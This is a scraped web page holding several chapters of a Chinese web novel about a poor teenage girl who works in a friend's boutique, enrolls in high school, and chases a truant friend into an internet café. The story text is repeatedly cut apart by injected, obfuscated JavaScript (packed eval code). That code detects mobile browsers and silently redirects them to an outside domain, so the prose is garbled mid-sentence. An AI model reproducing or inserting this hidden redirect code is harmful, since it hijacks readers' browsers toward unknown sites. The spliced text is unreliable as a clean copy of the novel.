35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721015|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 祝知微指着她们向祝婴宁介绍:“这是伊伊,这是Emily,都是我请的销售。伊伊,Emmy,这是我的朋友,祝婴宁。” 祝婴宁紧张地打了招呼:“你们好。” “我这家店主打轻奢。”祝知微随手拿来一件连衣裙,继续向她介绍,“用户是二十多岁到三十多岁的职场女性,差不多是我身上这件衣服的风格。” 祝婴宁听得既懵懂又敬佩:“你好厉害。” “没什么特别的,我只是出来得早,赶上了好时候。”祝知微把衣服放回去,像在问她待会要不要去喝咖啡一样,自然地问道,“你不是在找工作吗?要不要来给我打工?” 她怔住了,在餐厅吃鲍鱼时那种既感激又惶恐的心情再度涌了上来,她不确定道:“我会给你添麻烦吗?” 这家服装店主打轻奢,尽管她不想自贬,却也不得不摸着良心问一句,她这个人的气质轻奢在哪? 服装店的镜子宛如哈哈镜,照出两个截然不同的世界,祝知微和她聘请的美女销售伊伊、Emily就像八点档肥皂剧里的矜贵女主,而她则是一朵错误地生长在此地的野蘑菇,笨拙地站在镜子前,由内而外透出格格不入。 祝知微了然地拍拍她的肩:“别紧张,大家都是这样过来的,你要是不习惯,可以先干点后勤工作,陪我扫扫货之类的。” ** 从祝知微的服装店出来,祝婴宁战战兢兢,觉得自己未免太过好运,每次遭遇困境,都能绝处逢生,遇到贵人提携,她何德何能? 祝知微不知道她心里的复杂思绪,把她送到街口,不顾她的激烈反对,硬是给她拦了辆出租车,交代司机将她送回家里。 上车之前,祝婴宁拉开车门,扭头看向夜幕下的祝知微。 她总觉得相逢匆匆,心中似乎还有千言万语想问,比如,为什么留给她Q|Q号码,却从来没有通过她的好友验证申请?但是,也许是出于一种童年时期习得的默契,也许仅是出于某种体贴,她在这个问题上聪明且适时地保持了缄默,给对方留下了避而不谈的空间。 只有一个问题。 只有一个问题——在别离的数百个日夜里,她唯一的,最想知道的问题。 “娟。”她怀里抱着那个装满廉价传单的廉价袋子,乌黑清亮的眼睛在夜色里穿透层层黑雾,看向祝知微的眼睛,轻声问,“这几年你过得好吗?” 她的声音像从遥远的旧时光传来,轻柔且带着温厚的力量,祝知微眼前恍惚了一瞬,随即习惯性扬起嘴角,轻快笑道:“我要是过得不好,世界上可遍地都是过得差的人了。”说完仿佛为了佐证,又旋转身体,让祝婴宁看她身上剪裁得体气质合宜的OL套装,和手里挽着的劫后余生的爱马仕包包,又指向商场大门里一眼可见的服装店铺,强调般竖起大拇指。 司机开始催促:“这里不能停车太久。” 祝婴宁应了一声,钻进车里,摇下后车窗,看着祝知微的身影在出租车后迅速小去。 58. 警惕祝老师 你过得还好吗? 这个问题祝婴宁不仅想问祝知微,也想问许思睿,但她一直没有找到机会开口。 住在他家的这些天,除了刚开始在门口的匆匆一瞥,她没有再见到他,一次都没有。也问过许正康许思睿的下落,他总说“不用管他,他在他那些狐朋狗友家住”,面色透出明显的不耐烦,她便不敢再多问了。 偶尔路过许思睿空荡荡的房间,朝里面一瞥,看到他毫无生活气息的床铺以及干净得一看就没被主人使用过的书桌,她心里会产生一股说不出的担忧。 她以为他回到北京会过得很开心,毕竟在山里的那段时间,他天天念叨着要回去,可事实看起来似乎并非如此。许正康并没有她以为的那么关心他,周天澜又被外派到了外地工作,她不知道怎样才算“过得好”,但最起码,结合那天匆匆的对视,结合他淡漠到堪称冰冷的眼神,她觉得,他过得并不快乐。 ** 在祝知微那打工的日程很快确定下来,时间安排明显是照顾过她的结果,连从事的工作也异常简单,小学生都能做,只需要定时整理货柜、清点库存、搞搞基础卫生,与其说祝知微真的需要再雇一个员工,不如说是为了找个由头给她发零用钱。为了报答她的恩情,祝婴宁干得很认真,不仅严谨地完成了她布置的所有工作,还时不时晃去百货大楼其他商铺面前,暗中观察并剽窃他们的营销经验,希望能真正在营销这一块帮上忙,让祝知微的生意越来越红火。 同时,也是为了避免童工纠纷,祝知微对外统一将祝婴宁说成是自己的亲妹妹,放了暑假,过来给姐姐帮忙的。 然而打工这件事毕竟纸包不住火,尽管每次出门,祝婴宁都会尽量掐着许正康不在的时候,可时间一长,还是难免有露馅的时候。八月中下旬,在屡次发现祝婴宁不在家以后,许正康终于忍不住把她叫来问话了。 祝婴宁不想对他撒谎,只能埋着脑袋,用蚊蚋般的声音如实交代了打工的事。 许正康听完,粗浓的眉毛拧成了一团,面露愠色:“我不是让你安心学习吗?怎么还去打工?” 她瑟瑟缩着肩膀:“许叔叔,我知道您是为了我好,担心我的安危和精力,觉得我身为学生,应该把重心放在学习上,我保证,我绝对绝对不会让打工的事影响到我的学习。我现在工作的那家服装店是我朋友开的,就在我们家附近的百货大楼里面,很安全,而且老板是我朋友,开学以后我不需要天天过去,她允许我周末再去。” “百货大楼?”许正康若有所思,语气也缓和了一些,“你那个朋友,是不是就是那天傍晚请你吃饭的那个?” “对。” “她卖的都是些什么衣服?” 祝婴宁把自己这些天通过整理仓库而背下来的几个品牌说了。 许正康没有立刻应话,思索了片刻,才说:“你只有十五岁,要是被人发现在打童工……” “我朋友人很好,她对外都说我是她妹妹。” 他便哦了一声,停顿几秒,道:“……行吧,你自己注意点就是了。”这便是同意她打工了。 “谢谢叔叔!”祝婴宁眉开眼笑。 ** 又过了几天,许正康从繁忙的工作中腾出空,让祝婴宁在祝知微那请个假:“我带你去趟高中,给你办下入学手续。” “!!” 她惊喜得差点原地飞起来,好不容易才抑制住激动的心情,依言请好假,把许正康交代要带的资料和证件一样样找齐,塞进书包里,屁颠屁颠跟在他身后出门了。 高中! 那可是她未来要读的高中! 办了入学手续,就代表她今后真的有书读了,再也不用提心吊胆,不用担心失去学位。 能够继续上学于她而言就像恩赐,而更让她兴奋的是,这家高中好到远超她的预期。许正康把车开进学校里,祝婴宁全程将脑袋搭在窗沿,眼睛瞪得极大极亮。 毫不夸张的说,这个高中光是操场,都比她以前读的初中大。 学校里的建筑统一漆成红白色,看起来赏心悦目,礼堂、钟楼、食堂、体育馆、篮球场、足球场、游泳馆、教学楼、图书馆……所有该有的不该有的设施一应俱全,让她深刻体会到了刘姥姥参观大观园的心情,嘴巴从进入校门开始就没有合上过。 来到行政楼,许正康带着她走进教务处,让她把初中毕业证、贫困证明和打印出来的中考成绩单拿出来给主任看。 主任把东西接过去,随意翻了两眼,狭小的眯眯眼微微一睁:“唔,成绩倒是不错。”评价完,他又随口问了几个初中的学科知识,祝婴宁一一答了,答完忐忑地看着他。 “您看能定几档?”许正康在一旁问。 主任翻了翻桌子上堆积如山的文件,嘶了一声:“根据上面的扶贫政策,还有我们学校的规定,倒是能定个二档。” “二档?比我想的好多了。”许正康像是很高兴这个结果,拍了拍祝婴宁的肩,“争气。” 她被表扬得微感赧然,不好意思地笑了笑。 办完所有手续,许正康领着祝婴宁出来,问她要不要到处走走参观一下。尽管心里非常期待,她还是懂事地摇了摇头,说:“不用了许叔叔,我们回去吧,您工作那么忙。” 许正康本就是随意一问,见她拒绝,也不坚持,领着她坐回了车里。 一直到车门关上了,祝婴宁才问出刚才在教务处就一直好奇的问题:“许叔叔,二档是什么啊?” 许正康一边开车一边答:“就是学费的档次,成绩越高,学费越少,最好的是一档,免学费,只需要交点学杂费,一学期就八九百吧。最差的是五档。你那个二档一学期只需要三千,也还不错。” 她了然地点点头,心里有些遗憾自己没能考上一档,同时脱口而出道:“许思睿肯定是一档,我还得多多向他学习。” 这句话不带任何恶意,单纯出于她对他学习水平的信任,然而许正康听完这话,竟不屑地嗤笑一声:“他?他考个ji巴的一档。” 祝婴宁愣住了,不仅因为许正康粗鄙的脏话,还以为他言语中透露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725248|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的信息和他对许思睿的态度。不是一档?难道跟她一样是二档吗? 仿佛看出了她心里的疑惑,许正康冷嘲道:“不用想了,那小子就是个五档的命。” ……五档?怎么可能?! 祝婴宁明明白白把难以置信都写在脸上了,许正康也是憋狠了,找不到人吐槽许思睿,此刻话匣子打开,毫不见外地对着祝婴宁把许思睿的底揭得干干净净:“他中考就考了350多分。” “不可能!”祝婴宁不小心把心里话说了出来,她实在无法相信凭许思睿的水平会考出这种分数,“他是不是有几门没去考?” 这是她唯一能想出来的合理解释。 许正康颇感意外地瞥了她一眼:“差不多,他交了几门白卷。” “白卷……为什么?” “谁知道他?叛逆期吧。”谈起这个,许正康又变得不耐烦起来,祝婴宁只能先闭嘴。 但她是那种会情不自禁将心事摆在脸上的人,从听到许思睿的成绩开始,她就如丧考妣,浑浑噩噩,一脸遭受重大打击的表情,让许正康想刻意忽视都难。 搭电梯的时候,他有点不忍心,因为电梯镜子里,祝婴宁看起来就像要哭了,虽然他无法理解她为什么要哭,但碍于长辈的身份,只能胡扯着安慰她:“你不用管他,他就这个样,烂泥扶不上墙,以后毕业随便找个工厂打工算了,没出息的货色。” 她震惊地看着他,不仅完全没被安慰到,眼底的失魂落魄还因为他这番话转为了深切的失望。这份失望不是朝着许思睿去的,而是冲着他去的,她皱着眉头,用一种严肃过头且正气凛然的语气对他说:“许叔叔,许思睿没有你想的那么差,你身为家长,不应该这样说他的。”连时刻挂在嘴边的“您”字都退化成了“你”字。 许正康还是头一回被小辈教训——他是被教训了吗?他有点不确定。 “任何人都有改过自新的机会,我觉得这中间一定是出了什么差错和误会,只要给他机会,他一定能变好。人之初,性本善,更何况许思睿是个很有灵气和天赋的人,他只是缺乏一点引导。” “……?” 许正康迷茫地“啊”了一声,生平第一次觉得自己口拙起来。 不怪他迷茫,实在是祝婴宁这番发言太像个老师了,从语气到表情,再到说话的内容,活脱脱就是个操心学生的班主任,让他不由自主想要弯腰驼背附和一声“老师,您教训得是”。 祝婴宁背着自己的书包走出电梯,走进家里,似乎经过了慎重的考虑,她转过身,对他说:“许叔叔,您知道许思睿具体在他哪个朋友家吗?” 许正康本来是一提起许思睿就烦的,但祝婴宁接连不按套路出牌,把他的烦躁都打懵搅散了,他呃了一声,果真像面对老师一样,压低声音,眼神躲闪,含糊其辞:“他就那几个朋友,不是在这个家,应该就是在那个家吧。” 她立刻从书包里翻出了一个随身小本子和一支笔,低头做出要记录的样子:“那您把他那几个朋友的联系方式和家庭地址都告诉我吧。” 59. 又是纸条 门口传来门铃声时,王晓倩正好在卫生间蹲坑,孙国庆上班去了,家里只剩她和孙明远两个人,她扯着嗓门大声吼:“孙明远——孙明远——去开门!” 现在是上午十点半。这时间其实不算晚,但对孙明远这种习惯在假期赖床的人来说,十点半和五点半没差别,他蒙着耳朵呼呼大睡,置若罔闻,直到王晓倩的夺命连环call从卫生间里传出来:“孙明远儿!叫你去开门你耳朵被耳屎糊住了?睡睡睡!睡你的大头觉!赶紧给老娘滚去开门!” 他想继续装死,奈何王晓倩女士的破甲能力过于优越,仅仅只是赖了那么一两分钟,他的耳膜就要被她吼穿孔了,无奈,孙明远只能从床上爬起来,顶着个鸡窝头,把手伸进背心里挠着肚皮,顺带抠了抠肚脐眼儿,迷迷瞪瞪邋里邋遢地走去开了门。 “谁啊——?哪个屁股没长毛的?”他拖长尾音问,“不知道你爷爷在睡觉啊——?” 通常会来他家按门铃找人的不是他的朋友就是他的朋友,因此孙明远很自然地将视线定在了和他差不多高以及比他高一些的位置,脱口而出的话也没个把门,直到并没有如愿在平时的位置看到人,他才缓慢下移视线,看清了站在门口的是谁。 卧槽,是个女的! 他赶紧把手从背心里掏了出来,又想起自己刚刚那句屁股没长毛的话,脸色更尴尬了,急忙举起双手作无辜状:“我刚没看到人,我不是变态啊。”说完才定睛打量起眼前的人。 眼前的女孩留着又短又整齐的学生发,眼神明亮,猛一看过去就像希望工程里的那个大眼睛姑娘,身上散发着一种干净淳朴的气质。 孙明远觉得她长得既陌生又眼熟,想了一会儿,才灵光一闪,拿拳头锤了锤手心:“祝婴宁?” “你认识我?”祝婴宁有些吃惊,她正打算开口做自我介绍呢,没想到被孙明远抢先了。 “当然认识了!你现在不就住在许思睿家吗?他告诉过我你的事。”孙明远这人最大的特点就是自来熟,特熟,出门扔个垃圾都能和环卫工人唠半天,见了祝婴宁,他丝毫没有刚认识的生分,嘴一张,机关枪似的直突突,活像和她相识了好几年,乐道,“而且你背过许思睿,我怎么可能不认识?哎哟我告诉你,当初他还在山里录综艺时,我们哥几个就守在电视机前看了,约好等他回来要一起嘲笑他。你说他啥眼神啊,居然能把你认成男的!那么大一只居然还要你背他!哎不行,本来我都忘了这事了,你一出现我又想起来了,笑死我了!”说着说着,自己先抱着肚子嘎嘎笑了半天,笑得东倒西歪狂捶门,还把门给捶得关上了。 “?” 祝婴宁没想到许思睿的朋友是这种性格,站在门外发愣。 几秒后,孙明远才把门重新打开,她正打算继续和他对话,看清他的装扮后,又吓了一跳。才这么短短几秒钟的时间,他身上松松垮垮的老头背心居然就不见了,换成了一件能见人的外出T恤。 见她盯着自己的上衣,孙明远摆手笑道:“哦,你不用在意,我这人在女士面前会注意点形象,说起来你来我家干嘛呢?” 被他这么一问,祝婴宁才想起自己的意图,端正神色,正儿八经地说:“我来找许思睿,请问,他在你家吗?” “你找许思睿啊?”孙明远顿时来了精神,眼珠滴溜溜一转,八卦道,“你找他干嘛?” 对于发生在许思睿身上的所有异性情缘,孙明远总是表现出远超许思睿本人的热情。说异性情缘也不太对,应该说单方面的异性追求。许思睿凭借他那身迷惑人的皮囊,从小就不缺人追,读幼儿园时还因为长得太清秀被同班男孩误认成女孩求过婚。 也许是某方面越富足,就越是不在意那方面,就像有钱人总是叫嚣着钱不重要一样。从小桃花不断造成的结果是——许思睿在这方面特别性|冷淡。别说谈恋爱了,孙明远甚至没见过他喜欢谁。而他呢,身为许思睿的发小,却悲催地和他形成了一对对照组。由于从小到大没被女的追过,孙明远简直是见一个爱一个。出于青春少男无处安放且无处施展的躁动之心,他自然而然地就把许思睿的桃花列为了自己的八卦对象。 祝婴宁完全不知道她已经被孙明远这个性缘脑归类为了许思睿的桃花:“其实也没什么大事,就是……” “好说好说。”孙明远打断她的话,自动把她的话理解为女生羞涩的遮掩,热情高涨地说,“许思睿没在我这,不过我知道他在哪,我带你去吧?” “真的吗?”她惊喜地睁大眼睛,“会不会太麻烦你了?” “不会不会。”哪有嫌看热闹麻烦的,他心想。把拖鞋一蹬,随便踩了双帆布鞋就出去了,害得蹲完坑的王晓倩在屋子里找了半天都没找到他。 ** 孙明远带着祝婴宁搭乘公交车,坐了十几站,来到一家网吧前。 这是祝婴宁第一次坐公交,好在并没有任何不适应之处,因为孙明远很会来事,把她招待得明明白白,刷卡投币什么的都不需要她操心。 到达目的地以后,祝婴宁抬头看着这家网吧外头偌大的招牌,心里有点无奈。 该说不说,许思睿会来网吧,完全在她意料之内…… 非要说有什么意外之处,大概就是这家网吧更大,也更豪华。网吧一共有三层,孙明远驾车就熟地带着她来到二楼。明明网吧外头就明晃晃挂着“未成年人不得入内”的牌子,但二楼的许多用户看起来都是小孩,有些甚至稚嫩得像小学生。 “你知道为啥一楼都是成年人,二楼都是小孩不?”孙明远的嘴一直没闲过。 “为什么?” “因为要是有人来查,二楼不至于一进门就被警察查到,有时间拐后门逃跑。” “……” 好吧。 他们一边聊一边走,很快绕过许多稚嫩的面孔,来到了角落里。 都不需要孙明远特意指出来,祝婴宁一眼在人群里就看到了许思睿,他戴着耳机,本来就小的脸蛋被头戴式耳机衬得只有巴掌大,眼睛不耐地微眯着,眼底下挂着两个青黑的眼圈。 原本该是颓废的一幕,他的坐姿和其他人比起来也没有什么特别,可莫名其妙就是很抓眼。 “欸~欸~欸~我们这种GP狗枪就是干过你的火麒麟了,怎么着吧?傻叉,输不起别玩!”坐在许思睿旁边的张霖正激愤昂扬地戳着键盘,力道大得像是练了一阳指,把键盘戳得嘎巴响,和电脑屏幕那头的玩家激情互喷。孙明远走过去,手肘往他肩上一搭,凑热闹道:“咋啦,对面RMB玩家又破防了?” 张霖冷不丁被他吓了一跳,骂了一声:“我日,你怎么来了? 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T出去 孙明远很想知道事情为什么会发展成这样。 他迷茫地抬起头,迷茫地看着头顶那块写着“新华书店”四个字的招牌,又迷茫地扭过脖子,和旁边同样迷茫的张霖对上了视线。 站在他另一边的许思睿则一脸淡定——或者说,一脸饱受蹂躏后堪称麻木的淡定,他早就知道有祝婴宁在,所有事情都势必会按照她期望的那样发展。 “我们快进去吧,里面好多人,去晚了小心好的书都被别人挑走了。”罪魁祸首举起胳膊,焦急且干劲十足地催促,然后就像妈妈拖着三个不争气的儿子,一个接一个把他们拽进去了。 ** 事情还得从几小时前说起。 当祝婴宁解释完纸条上写了什么以后,孙明远和张霖都沉默了。 学习不能输在起跑线上,多么常见的一句话,然而放在网吧里又显得多么异常。虽说刻板印象不可取,来网吧的肯定也有学习好的,许思睿就是一个活生生的例子,但按照统计学的概念,说网吧里绝大部分人都不爱学习,这话倒是千真万确。 许思睿早就见识过祝婴宁纸条的威力,对她手里任何类似纸条的存在都不抱期望,听到她说纸条是辅导书参考书目后,他虽然无语,但还不至于像孙明远他们那样被雷得外焦里嫩,只皱了皱眉,再次开口让她回去。 祝婴宁来之前便做好了打持久战的准备,她深知许思睿不是那种一劝就听话的性格,闻言也不气馁:“那等你打完游戏我们再去书店吧。” 许思睿阴着脸:“……我说了我不去。” 她直接当没听见,低头看了一圈,在他背后那排找到个空位,一屁股坐上去,摆出等待的架势。 “……” 没办法,待在哪是她的自由,总不能把人揪起来扔出去,虽然他确实想这样做。许思睿戴上耳机,转身朝向电脑屏幕,打算无视她。反正有耳机当隔音,就算她想发动她的唐僧念经也没用。 张霖也继续玩游戏去了,孙明远唉了一声,坐在祝婴宁旁边,哀嚎:“好无聊啊——”他偏头看向祝婴宁,“你确定你要在这等?他们玩上头能玩几天几夜的,你还是回去吧,我送你。” 她摇摇头,依然坐在原位。 “要不……”孙明远挠挠头,“你玩游戏不?我这有几张身份证,可以借你玩。” 她眨了眨眼睛。 孙明远当即替她做了决定:“OK,来吧。”说完直接掏出其中两张,给自己和她都刷开了电脑,随口问,“你玩过游戏吗?” 祝婴宁思考了一下:“玩过。” “哦?”孙明远来了点兴趣,“玩过什么?” “金山打字通。” “?” 他表情复杂地看了她一眼,“……算了,没玩过也没事,我教你,你可以用我小号。喂,张霖——你们还在玩CF吗?把我大号和小号都拉进房间呗。” 张霖吃惊地回头看向他和祝婴宁:“她也要玩?”他压低声音凑到孙明远耳边,小声嫌弃道,“别吧大哥,我讨厌菜鸟啊。” “人家都还没开始玩,你怎么就知道她是菜鸟了?”孙明远奇道,“说不定人家是个狙神胚子呢。” 张霖不好当着祝婴宁的面把话说得太绝,只好不情不愿地一撅嘴:“待会儿许思睿发飙我可不管。” “哎呀,他能发什么飙,赶紧赶紧!”孙明远一边催他开房间拉人,一边来到祝婴宁面前,教她登陆他的小号,又给她简单介绍了一下CF这种枪战游戏的基本操作。 祝婴宁听得云里雾里,尽管孙明远讲得非常详细,但他口中全是专业术语,什么CT啊C4炸弹啊AK-47啊,对她这种一点点游戏底子都没有的人来说无异于听天书,她怕反复询问会惹他不耐烦,也怕占用在旁边等待的张霖等人太多时间,只好煞有介事地假装听懂了。 “你第一次玩,跟在我后头就行,别自己乱跑。”孙明远坐到了自己的位置上,又对张霖说,“玩5v5吧,别太多人。” 张霖转头询问一了下许思睿意见,许思睿淡淡道:“随便。” 于是张霖随便拉了个人机凑足五个人,选中爆破模式黑色城镇地图,游戏便开始了。 孙明远在三十秒倒计时内教祝婴宁怎样买装备,她按照他的指示手忙脚乱买了手枪和基础护甲。倒计时结束后,他们降临在出生点,孙明远人来疯属性上身,兴奋不已,对祝婴宁说:“冲冲冲,跟上我!”言罢直接带头冲了出去。 她笨拙地操纵着屏幕里的角色,一边撞墙一边跟着大部队跑了出去。 “老规矩,3A2B。”张霖熟练地指挥道,“思睿,你守A大,老孙,你莽B区的时候当心点,我去中门阴人。祝……呃……”他一时没想起祝婴宁的名字,只好说,“妹子跟着老孙。” 祝婴宁点点头,表情严肃,如临大敌,跟在孙明远的角色后面一路狂奔,很快来到了目的地。孙明远躲在箱子后,似乎是打算蹲在这守株待兔。祝婴宁操纵着自己那个角色蹲在他斜前方。 张霖和孙明远都属于玩游戏时话密的类型,两个人对着耳机交流得热火朝天,祝婴宁完全听不懂,默默当她的小透明。令她意外的是,许思睿的话也不多,从游戏开始到现在,他只说了一句:“别卡我枪线。” 她知道许思睿正在守所谓的“A大”,和她不在同个地方,所以没有搭理。 过了一会儿,许思睿的声音又响了起来:“我说别卡我枪线。” 她纳闷地看向张霖,猜测许思睿是在和他沟通,只是他没有听见。出于古道热肠,她提高了嗓门,对张霖重复道:“张霖,许思睿让你别卡他枪线。” “?” 许思睿深吸一口气,“……祝婴宁,我在跟你说话。” “啊?!”她大吃一惊,“我没卡你,你不要污蔑我,我在孙明远这。” “你在个鬼的孙明远那。”他说,“你从出生点出来后就一直跟着我跑。” 孙明远和张霖在一旁憋笑憋得要吐血。他俩早就发现不对了,出于恶搞的心态,没戳穿而已。 她脸一红,这些角色在她眼里都长得差不多,她光是熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742574|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悉按键的作用都忙不过来了,确实没怎么留意谁是谁。 “我要怎么才能不卡你枪线?”她虚心求教。 “你蹲到我后面去,别开枪。” “行。” 她换了个在他斜后方的箱子蹲。 结果刚蹲下不久,只听“噗噗”两声,仿佛谁在放屁一样,紧接着“砰”的一声,一通稀里哗啦不知所云的枪响后—— 她死了。 死得水到渠成,死得一气呵成,死得忘乎所以。 祝婴宁:“?” “发生了什么?”她目瞪口呆。 许思睿没答话,忙着和敌方激战,孙明远瞄了她一眼,乐道:“你刚是不是误触了鼠标左键?你USP手枪走火了,对面听声音发现了你的位置,爆了你的头。” ……好可怕的游戏。 由于第一回合带着祝婴宁和人机这两个拖油瓶,他们理所当然地输了,第二回合开始,张霖说:“全员ECO,苟住哈,咱经济不能再掉了,那个谁,妹子,你去B区当诱饵吧。” “我要怎么当诱饵?”她继续虚心求教。 “你就搁窗口那蹦就行了。” “好。” 她来到张霖指示的窗口,尽职尽责开始蹦跶。 “对对对,就是这样。”张霖躲在暗处,趁机偷背身,杀了一个被吸引来的对手,由于暂时没有别的对手过来集火,他蹲了一会儿就走了,离开前交代祝婴宁,“你继续蹦,看到有人过来喊一声。” “好。” 没多久,又有一个敌人被吸引过来,刚好许思睿路过此地,顺手点射爆了对方的头,在耳机里不轻不重哼了一声:“你倒是挺适合干这活。” 刚夸完,她不小心误触到了其他键,一顿诡异又迷离的蛇形走位后,直接卡在了门缝里,挣扎了一下,没挣扎出来,反而被埋伏在暗处的敌人当定点靶打死了。 许思睿:“?” 第三回合,她用闪光弹闪白了己方全队,孙明远狂拍大腿:“祝婴宁,你是不是对面派来的间谍啊?” 第四回合,她终于摸索出了团队合作的精髓,跟着大家RushARushB,还在队友落后的时候热心提醒他:“B区集合。” 许思睿:“……那个是bot(人机),你跟它说话它听不懂的。” 她空耳听岔了,感概道:“他居然是我们的boss啊?”然后捂住话筒,小声拍许思睿的马屁,“他连B区集合都听不懂,我觉得你比他更适合当boss。” 许思睿:“?” 第五回合,她狗屎运大爆发,捡了把敌方的AN94,兼之枪神附体,连杀两个敌人,孙明远大惊道:“我靠,牛逼!你还真是枪神啊我去!”刚夸完,她再次手滑误触G键,丢了个闪光弹,成功把孙明远和路过的许思睿致盲了。 第六回合……没有第六回合了,因为第五回合后,许思睿平静地打了行字:“T出去。” 祝婴宁还以为这是下一回合的战术,刚想求教是什么意思,就被张霖踢出了房间。 61. 秘密 虽然惨遭踢出房间,但祝婴宁一点都不在意,孙明远本来还想安慰她几句,让她别跟许思睿和张霖这俩不懂怜香惜玉的傻叉计较,就见她退出了CF,点开了…… 金山打字通。 孙明远:“?” 他发觉他可能把她想得太脆弱了。也是,一个能在网吧劝学的人怎么可能是玻璃心?他敬佩地点了点头,朝她竖了个大拇指,扭过脑袋,继续端枪厮杀了。 男人这种生物一旦玩起游戏就容易上头,一上头就容易忘却外界,孙明远一开始还偶尔会瞥她几眼,后面玩红温了,跟张霖一起破口大骂对面骚操作,嘴里各种祖安问候,自然而然就把祝婴宁抛到了脑后。 等他们酣战无数回合,从CF玩到LOL又玩到DNF,孙明远才猛一激灵,隐隐约约觉得自己忘记了什么,回头一看,日,祝婴宁已经不见了。 张霖不以为意:“待得无聊自己走了吧。” “完了,是不是我们一直没理她,她生气了?”孙明远的良心隐隐作痛,毕竟是他说要教她玩游戏的,结果自己一玩上头,竟然把她忘了。 许思睿也回头看了一眼身后祝婴宁的座位。电脑还开着,但自动熄了屏,按照她的性格,绝对不可能就这样离开,他猜她多半去洗手间了,就是去得有点久,久得略显异常,正想让孙明远去看看情况,就见网吧老板一言不发朝他们冲过来,右手快如残影,直接把他们三个人的电脑电线啪啪啪全给拔了。 张霖正玩得嗨呢,当即跳脚道:“卧槽!神经病啊!你干嘛?!” “我干嘛?”老板冷冷一笑,“你们是叫许思睿、张霖和孙明远吧?” 张霖被他精准的报菜名弄得一愣,气势弱了些许:“是又怎么样?” “我们这里不欢迎你们,出去。”老板一指外头。 孙明远赶紧出来打哈哈:“这是怎么了大哥?我们又不是没给钱。” 许思睿心里隐隐有种不妙的预感,果不其然,下一秒,老板就从背后揪出一个人,问:“她跟你们是一起的吧?” 被揪出来的祝婴宁可怜地缩着肩膀,朝他们干干一笑。 他一看那个笑就知道她绝对又捅了大篓子,但孙明远跟她不熟,还没有这种认知,一听老板这样问,立刻大声应道:“是啊,咋了?” “你自己说。”老板没好气地把祝婴宁往前一推。 这么一闹,二楼所有人都看了过来,游戏都不打了,个个抻长脖颈瞧热闹。她蔫头耷脑,轻声道:“我刚刚去一楼上厕所……” “是啊,上厕所!上厕所咋了?”孙明远立刻面朝老板,替她撑腰道,“你们这难道不许人上厕所啊,有没有天理了?!” “你听她说完。”老板扬扬下巴打断他。 祝婴宁只好继续道:“我刚刚去一楼上厕所,看到洗手间门口有个男的躲在一个女生背后,想从背后偷摸她屁股,我就伸手拽开了他,结果一不小心把他的手腕掰脱臼了。” 短短一句话信息量爆表,孙明远张大嘴,都不知道该震惊她的神力,还是震惊光天化日之下竟有此等咸猪手,消化了一下,才义正言辞道:“那是他活该!你做得没错,对付这种人渣,脱臼怎么了?骨折都嫌轻!就应该狠狠揍他丫的!” 老板呵呵一笑:“你继续听她说。” 祝婴宁的头埋得越越低,声音也越来越低:“那个女生尖叫了一下,扑过去查看那个男人的手腕,我才知道他们是情侣。” “啊……”孙明远长长地啊了一声,刚刚的义正言辞消失了,变成一种尬笑,但他依然坚强地尬笑着找补,“可你的出发点是好的,对不对?只是中途出了点小意外。我觉得因为这点事就把人赶走,未免寒人的心。” 祝婴宁附和着点了点头,小声补充道:“而且我发现自己搞错了以后,还帮他把手腕接回去了。” “我靠,你还会接骨?!”孙明远由衷被震惊了一下,朝她竖了竖大拇指:“厉害厉害。” 祝婴宁谦虚地笑笑:“还行,我们家猪崽小时候打架脱臼,都是我接的,练习惯了而已。” 孙明远已经完全被她带偏了,爽朗地大笑几声,拍了拍老板的肩膀,说:“你看,虽然我们妹子不小心把客人手腕弄脱臼了,但最后也接回去了,四舍五入,不就相当于无事发生吗?你告诉我客人是谁,我出面给他道个歉,这事就算完了,大家来网吧都是来找乐子的,有必要动气吗?和和美美的不好吗?” 老板继续呵呵:“客人是谁?这问题你自己问她呗。” “咋了,难道还能是美国总统啊?”孙明远不以为意,对祝婴宁说,“你别怕,告诉我他在哪,有我孙爷爷出面,专治各种不服。” 祝婴宁本来还在因为孙明远对她接骨能力的夸赞而傻笑着,闻言,笑容瞬间变得有些维持不住,心虚地低头看了看鞋尖,最后才慢慢举起手,指了指站在他们面前的老板。 “你指他干嘛?我问的是你掰了谁的手腕。” 她弱弱一笑:“我掰的就是他。” ** 被老板扫地出门后,孙明远仍然处于一种脑子发懵的状态。他仔细回想了一遍自己刚刚对老板说的话…… 算了,还是不回想了,他怕自己想着想着找根面条上吊。 下午四点,日光毒辣。他们四人站成一排, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 